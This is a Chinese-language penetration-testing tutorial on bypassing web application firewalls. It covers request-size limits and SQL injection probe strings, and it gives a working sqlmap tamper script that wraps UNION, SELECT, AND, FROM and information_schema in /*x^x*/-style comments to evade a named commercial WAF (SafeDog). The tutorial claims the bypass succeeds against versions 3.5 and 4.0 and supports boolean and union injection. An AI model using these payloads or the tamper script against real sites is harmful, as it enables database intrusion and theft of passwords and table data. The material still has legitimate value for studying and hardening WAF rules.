某些Web服务器的特性不一,导致WAF在判断时候无法完全工作。经常出现的情况大部分都是协议层与Web服务器之间WAF没有很好的处理请求,导致无法拦截很多生僻的攻击手法,那么我们先从GET、POST先说起。
0x00 匹配资源大小限制
某些Web服务器的特性不一,导致WAF在判断时候无法完全工作。经常出现的情况大部分都是协议层与Web服务器之间WAF没有很好的处理请求,导致无法拦截很多生僻的攻击手法,那么我们先从GET、POST先说起。
Get方法提交的数据大小长度并没有限制,HTTP协议规范没有对URL长度进行限制。这个限制是特定的浏览器及服务器对它的限制。可见WAF可能在处理GET请求的时候,根据客户端(浏览器)规定的长度去匹配了,这就造成了一个缺陷。我们可以把有效数据放在这个限制的零界点,攻击语句放在零界点后方,让WAF以为这是一个正常请求,就随之放行,达到了攻击效果。
理论上讲,POST是没有大小限制的。HTTP协议规范也没有进行大小限制,起限制作用的是服务器的处理程序的处理能力。
例如在使用PHP进行POST提交时,文件大小受PHP配置文件PHP.INI限制,我们可以修改PHP.INI文件中的post_max_size参数,可将默认的2M字节,修改自己需要的大小,但由于HTTP协议的特性,这个值不宜设置过大,最大以8M为宜。假设如果服务器端设置了8M,而WAF默认只匹配2M,由此可见服务器端接受数据的大小>WAF匹配的数据最大大小。那么,我们可以根据上述方法,也可绕过WAF的拦截。
0x01 绕过某WAF上传
渗透测试中的Bypass技巧(二) - 知乎专栏
在上一章中我们已经举例了一个bypass上传,最重要的彩蛋就在Bypass注入啦~
0x02 绕过某WAF注入
我们构造一个SQL注入页面,慢慢去研究它的拦截规则:
先从普通的语句开始做定位:
-
and 1=1
-
and ‘s’=’s’
-
union select 1,2,3
-
union/**/select/**/user(),2,3
-
……
- 等价替换
- And ‘s’ like ‘s’
此时我们已经可以使用like用于盲注(此时可以将所有的 = 替换成 Like )
注释
我们可以设想出拦截的特征正则
union与select同时出现会被拦截,union[空格,%20,/*部分字符*/]select都会被拦截,目前普通的union select都会被拦截,既然空格,%20都会被匹配到,我们只能通过/**/内联来注释了(目前发现N多姿势,在这里只共享思路+一个bypass的tamper脚本)
-
/**/
-
/*数字+字母*/
-
/*特殊符号+数字+字母*/
-
…..more
假设union左右如果有select就拦截的话,那么定位union与select之间的敏感字符就好,假设union[空格]
select,此时如果把空格替换成任意内联,就可bypass这个规则,此时规则也不可能是一条的。条件也是很多的。我们也只能讲内联这个规则做手脚了。
于是乎我发现/*^xxx^xxx*/
字母加特殊字符即可bypass。
因为每个特征中都没有匹配到^与小写字母、大写字母、数字的组合,这些条件可以继续测试,笔者已经把此文写到最佳精简,测试期间也翻看过拦截日志,定位拦截特征。
(Union注入)例如在读取:mysql密码、表名的时候,我们还会查询information_schema数据库,这个可以转换大小写,或者在information_schema.TABLES直接再添加一个注释。下面就是测试过程:首先测试简单的and 1=1
然后我们使用注释bypass:
此时已经bypass成功了,我在这里用的是某dog 4.0(3.5也可以)
0x03 自动化bypass注入
我们通过编写sqlmap的tamper用于bypass,主要是需要定位各种拦截点,使用sqlmap替换Payload。
首先在sqlmap的tamper文件夹里创建一个safedog.py,编写我们的tamper脚本
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload):
if payload:
bypass_SafeDog_str = "/*x^x*/"
payload=payload.replace("UNION",bypass_SafeDog_str+"UNION"+bypass_SafeDog_str)
payload=payload.replace("SELECT",bypass_SafeDog_str+"SELECT"+bypass_SafeDog_str)
payload=payload.replace("AND",bypass_SafeDog_str+"AND"+bypass_SafeDog_str)
payload=payload.replace("=",bypass_SafeDog_str+"="+bypass_SafeDog_str)
payload=payload.replace(" ",bypass_SafeDog_str)
payload=payload.replace("information_schema.","%20%20/*!%20%20%20%20INFOrMATION_SCHEMa%20%20%20%20*/%20%20/*^x^^x^*/%20/*!.*/%20/*^x^^x^*/")
payload=payload.replace("FROM",bypass_SafeDog_str+"FROM"+bypass_SafeDog_str)
#print "[+]THE PAYLOAD RUNNING...Bypass safe dog 4.0 apache version ."
print payload
return payload
我们测试一下先不载入tamper脚本:
到了这基本没戏了,我们看看拦截日志
现在载入tamper脚本:
可以看到已经载入,并且识别了waf指纹。
以下是跑脚本的过程
支持布尔值注入
支持union注入